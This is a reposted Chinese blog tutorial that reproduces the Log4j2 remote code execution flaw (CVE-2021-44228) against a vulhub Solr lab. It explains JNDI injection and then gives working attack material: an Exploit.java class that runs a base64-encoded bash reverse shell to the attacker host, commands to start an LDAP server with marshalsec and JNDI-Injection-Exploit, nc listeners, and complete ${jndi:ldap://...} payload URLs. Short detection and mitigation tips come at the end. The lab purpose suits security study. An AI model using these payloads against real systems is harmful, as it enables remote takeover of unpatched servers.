log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现

log4j漏洞分析及总结 2021年12月8号爆出的log4j2远程代码执行漏洞【cve-2021-44228】,堪称史诗核弹漏洞,虽然过了这么久,大部分现网中的相关漏洞已经修复,但任然可以捡漏…,网上也有不少大佬和研究机构都对该漏洞做了分析和复盘,年前年后比较忙,一直没有好好的分析总结该漏洞,最近学习下刚好补上。 漏洞描述及影响 log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。 阅读详情

漏洞原理

啥是log4j2?

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

啥是JNDI?

由于漏洞利用会涉及到JNDI注入相关的知识,这里简要做一个对JNDI的介绍。

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。

log4j2远程代码执行漏洞原理

**cve编号:**CVE-2021-44228

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

画个简单点的漏洞利用示意图,如下:

尽可能画的详细一点,大概是下图。

攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。

靶场搭建

靶机:Ubuntu  192.168.200.129(无所谓是不是Ubuntu,随便找个地方用docker启动就行)

用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令:

docker-compose up –d

查看一下端口:

Docker-compose up -d

发现端口是8983,浏览器访问http://192.168.200.129:8983/

漏洞检测

用dnslog平台检测dns回显,看看有没有漏洞存在,网址为:DNSLog Platform

点击Get SubDomin获取一个子域名,我这里是3dto27.dnslog.cn

在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:

http://192.168.200.129:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.3dto27.dnslog.cn }

注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。

返回刚才的DNSLog平台,点击刷新记录Refresh Record(可能比较慢,不要着急,可以多点几次Refresh Record),可以看到有数据:在DNS Query Record一栏下面出现了条目,回显了java版本1.8.0_102,说明存在log4j漏洞。

漏洞利用(获取反弹shell)

我第一次复现的时候,直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar,可以在github上搜一下(后文会介绍),但我写博客的时候考虑到用这种工具感觉像是一键复现漏洞,对漏洞利用的每个步骤好像并不是很明确,所以我们还是先不用这种方法,还是老老实实自己编写一下恶意代码,启动一下恶意的http服务站点和LDAP服务,完整的演示一下过程。

靶机:Ubuntu  192.168.200.129 (随便找个地方用docker搭一下就行)

攻击机: kali  192.168.200.131 (无所谓是不是kali,windows都行)

方法一:编写恶意文件

我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip为192.168.200.131)的7777端口,因此对应的bash命令为:

bash -i >& /dev/tcp/192.168.200.131/7777 0>&1

然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)

编码结果为:

 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

好的,有了编码结果,我们就可以编写恶意文件了,编写以下代码命名为Exploit.java。

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下:

javac Exploit.java

我是在物理机中编译的,编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了,需要还原一下(手动狗头)。把编译好的Exploit.class放到攻击机kali的随便一个目录下:

并在此目录开启http服务,我这里把端口设置为了4444,命令如下:

python -m http.server 4444

然后浏览器访问攻击机ip:端口,我这里为192.168.200.131:4444 ,应该可以看到一个目录:

读者只要保证你的站点目录里有Exploit.class就行,至于我目录里有啥其他的读者不用在意。接下来,我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启,这个工具在我的上一篇博客中有提到,详情见

(56条消息) Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客

下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar,下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中,我们是用这个工具建立了RMI 服务,这次我们是要用这个工具建立LDAP服务。

好了,废话说完了,现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://刚才http服务的地址:端口号/#Exploit" 1389

本例中的命令为:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.200.131:4444/#Exploit" 1389

接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:

nc -lvvp 7777

最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:

${jndi:ldap://192.168.200.131:1389/Exploit}

完整的url为:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

也可以用Burp抓包改包,但由于是get请求,直接输入url就行了。

[http://192.168.200.129:8983/solr/admin/cores?action= j n d i : l d a p : / / 192.168.200.131 : 1389 / E x p l o i t ] ( h t t p : / / 192.168.200.129 : 8983 / s o l r / a d m i n / c o r e s ? a c t i o n = {jndi:ldap://192.168.200.131:1389/Exploit}](http://192.168.200.129:8983/solr/admin/cores?action= jndi:ldap://192.168.200.131:1389/Exploit](http://192.168.200.129:8983/solr/admin/cores?action=%7Bjndi:ldap://192.168.200.131:1389/Exploit%7D “http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}”)

访问上述url(别忘了把第一个ip改为靶机ip,第二个ip改为之前建立的LDAP服务的地址:端口号),应该就成功了,访问的页面回显如下:

攻击机启动的LDAP服务的终端显示如下:

攻击机开启的HTTP服务的终端显示如下:

可以看到最后两条日志信息,靶机已经通过GET方法请求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:

已经可以在攻击机执行任何代码了:

 这样就实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

方法二:直接利用现成的JNDI注入工具

这种方法更为便捷,属于是一键部署了。用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)

下载之后还要用maven生成.jar可执行文件,在pom.xml目录下运行:mvn clean package -DskipTests   如果没有mvn,参阅

(51条消息) 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客

如果build成功,会生成一个target目录,里面会有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar

使用这个工具,我们就不用自己编写恶意代码.class再上传服务器了,直接用这个工具输入对应的命令就行了。

与方法一类似,我们的目标是反弹shell到目标端口,反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

本例为(一会我们会在攻击机的一个终端监听6666端口):

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

还是要对这个命令进行base64编码,网址再贴一遍:

Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)

编码后的结果为:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

然后我们利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录运行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"

本例为:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.131"

运行之后的终端显示如下:

可以看到,这里已经一键部署好了RMI和LDAP服务的站点,并给出了路径,JDK1.8的版本为ldap://192.168.200.131:1389/Exploit,JDK1.7的版本为:ldap://192.168.200.131:1389/Exploit7 。这两个任选一个都行。

然后再打开一个终端,监听一个端口,本例监听的是6666(前面的反弹shell命令写的就是6666):

nc –lvvp 6666

最后一步和方法一一样,构造payload,由于是GET方式,浏览器访问以下任意一个url即可:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit7}

用rmi应该也行:

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit7}

这里以访问LDAP的Exploit为例:

JNDI注入工具的终端显示如下:

打开刚才监听的终端,成功获取了反弹shell:

此时已经可以执行任意命令了:

这样就利用JNDI注入工具实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

也可以使用其他的注入工具,如JNDIExploit-1.4-SNAPSHOT.jar ,Github链接:WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改

这个工具是在攻击机的对应目录运行:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip

然后监听个端口7777,再浏览器访问

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Basic/ReverseShell/192.168.200.131/7777}

之后就获得shell了。

如下图,攻击成功。

结语

log4j2是2021年底爆出的非常严重的漏洞,可谓是风靡一时,“血洗互联网”,也是安全公司面试的常见题目,我们应该了解这个漏洞的原理及利用方式。

如何排查是否受到了攻击?

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。

如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

扫码领取

本文转自 https://blog.csdn.net/Bossfrank/article/details/130148819?spm=1001.2100.3001.7377&utm_medium=distribute.pc_feed_blog_category.none-task-blog-classify_tag-9-130148819-null-null.nonecase&depth_1-utm_source=distribute.pc_feed_blog_category.none-task-blog-classify_tag-9-130148819-null-null.nonecase,如有侵权,请联系删除。

【渗透测试】log4j漏洞复现漏洞修复方案 2021年12 月 10 日凌晨,Apache 开源项目 Log4j远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。Log4j 是一款开源 Java 日志记录工具。Log4j 2 是对 Log4j 的重大升,此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。 阅读详情

相关推荐

Log4j2 CVE-2021-44228漏洞经典复现详细vulhub靶场)

log4j2漏洞复现,vulhub漏洞复现,Log4j2 CVE-2021-44228漏洞经典复现vulhub靶场)

精品博客,你值得一看~ 2757

Apache Log4j2 RCE漏洞利用反弹shell合集

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。

渗透之路,攻防之间皆学问 1万+

Vulhub靶场实战:从环境启动到漏洞复现(以CVE-2021-44228 Log4j为例)

本文详细介绍了如何使用Vulhub漏洞靶场复现CVE-2021-44228 Log4j漏洞,从环境搭建到漏洞利用的全过程。通过Docker快速部署靶场环境,结合恶意LDAP服务器构造攻击链,深入分析漏洞原理及修复方案,为安全研究人员提供实战参考。

weixin_28698059的博客 251

如何通过vulhub靶场复现log4j2漏洞

准备: 攻击机:kaili 靶机:Mac的vulhub靶场Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:{sys:java.version}}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意

weixin_46683781的博客 2658

Web网络安全-----Log4j高危漏洞原理及修复

Log4j 即 log for java(java的日志) ,是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。提示:以下是本篇文章正文内容,下面案例可供参考。

qq_51690690的博客 1万+

log4j漏洞详解

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,举个例子:它就相当于的你的一个秘书,用了一些手段,你可以去指使他去干一些事情,这个手段就是lookup(),相当于你给秘书一个目标。先给这些名词简单说一下Ldap:你可以将它理解为一个目标数据库。

weixin_61638307的博客 4965

vulhub靶场log4j2漏洞复现

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[ 经过 base64 编码后的命令 ]}|{base64,-d}|bash" -A [你的 vpsip]开始反弹Shell准备 JNDI-Injection-Exploit 下载地址并构造PayLoad如下...启动!拿取JDK1.8并构造Payload且直接访问..可以看到⽹⻚被重定向到了我们的恶意类⽹址。漏洞编号:CVE-2021-44228。

A2893992091的博客 575

vulhub log4j2漏洞复现CTFHub Bypass disable_function靶场

开启题目,打开链接,连接蚁剑。5.进入目录后发现.antproxy.php,重新连接,绕过成功。3.发现php文件重新连接,进入终端,获取flag。2.选择插件成功后,进入终端获取flag。2.选择插件,进入终端,获取flag。2.选择插件,进入终端,获取flag。1.开启题目,复制链接,连接蚁剑。选择插件,进入终端,获取flag。选择插件,进入终端,获取flag。选择插件,进入终端,获取flag。选择插件,进入终端,获取flag。选择插件,进入终端,获取flag。2.复制链接,进入蚁剑连接。

weixin_61587991的博客 537

vulhub靶场log4j2 CVE-2021-44228漏洞复现

最终payload:

qq_62486841的博客 421

Log4j2 CVE-2021-44228漏洞经典复现vulhub靶场)

1. 我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip152.136.102.131)的5555端 口,因此对应的bash命令为。2. 然后我们把Exploit.java编译为类文件Exploit.class,最好javac的版本为1.8。浏览器验证,是否能够从web服务中访问到Exploit.class文件(必须要保证从web服务中能够访问到)我们就将我们反弹shell的命令写入到恶意的文件中,并取名为Exploit.java。转载来自 徐长卿学网安。

haozhe6666的博客 232

断网也不慌:Vulhub 漏洞靶场离线部署终极指南

Vulhub 是一个基于 Docker-Compose 的预建漏洞环境合集,把 100 多个经典漏洞场景整理成了"一条命令即可启动"的靶场目录。这篇文章不堆理论,只解决一个实际问题:当你要把 Vulhub 部署到一台完全断网的内网服务器上,该如何把项目文件、Docker 镜像和运行环境一步步"搬"进去,并确认靶场真的能打。 ## 周一早上,我接到一个"不能联网"的任务 领导丢给我一台服务器,说

gitblog_01042的博客 381

Vulhub靶场实战:从环境搭建到漏洞复现(以CVE-2021-44228 Log4j2为例)

本文详细介绍了如何使用Vulhub搭建漏洞靶场环境,并以CVE-2021-44228 Log4j2漏洞为例,从环境搭建到漏洞复现的全过程。通过Docker部署、漏洞检测、LDAP服务搭建及攻击载荷构造等实战步骤,帮助安全研究人员深入理解Log4j2漏洞利用防御。

weixin_42531925的博客 373

不只是搭建:用Vulhub靶场实战复现CVE-2021-44228 Log4j漏洞(附完整攻击链分析)

本文详细介绍了如何利用Vulhub靶场实战复现CVE-2021-44228 Log4j漏洞,包括完整攻击链分析和企业部署方案。通过Docker和Docker-compose技术,安全研究人员可以快速搭建隔离的漏洞环境,深入理解Log4j漏洞原理及防御措施,提升实战攻防能力。

weixin_30838873的博客 365

从零搭建Log4j漏洞检测沙箱:Docker+Vulhub+Nessus实战指南

在软件供应链安全领域,漏洞检测复现安全工程师的核心能力。其基本原理在于通过隔离环境模拟真实漏洞场景,以验证安全威胁的有效性。这项技术的核心价值在于为安全研究、渗透测试和应急响应提供可控、可重复的演练平台,避免对生产环境造成影响。典型的应用场景包括高危漏洞(如远程代码执行漏洞)的复现分析、检测规则验证、修复方案测试以及安全团队技能培训。本文聚焦于Log4j2漏洞(CVE-2021-44228)这一影响深远的案例,详细阐述如何利用Docker容器技术实现环境隔离,并借助Vulhub漏洞库快速部署靶场,最终通

weixin_33889665的博客 362

告别官网Bug!自建Vulfocus靶场实战:Log4j漏洞环境本地验证指南

本文详细介绍了如何利用Docker技术自建Vulfocus靶场,解决在线靶场不稳定、内网访问受限等问题,重点演示了Log4j漏洞环境的本地搭建验证方法。通过Kali Linux系统配置、Docker容器化部署及自定义漏洞环境等实战步骤,帮助安全团队构建稳定可靠的企业漏洞验证体系。

weixin_30765505的博客 314
上一篇: Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)
下一篇: 国家信息安全水平考试(NISP一级)考试题库2_nisp一级题库
heike_沧海
博客等级 码龄2年 4451粉丝 392原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值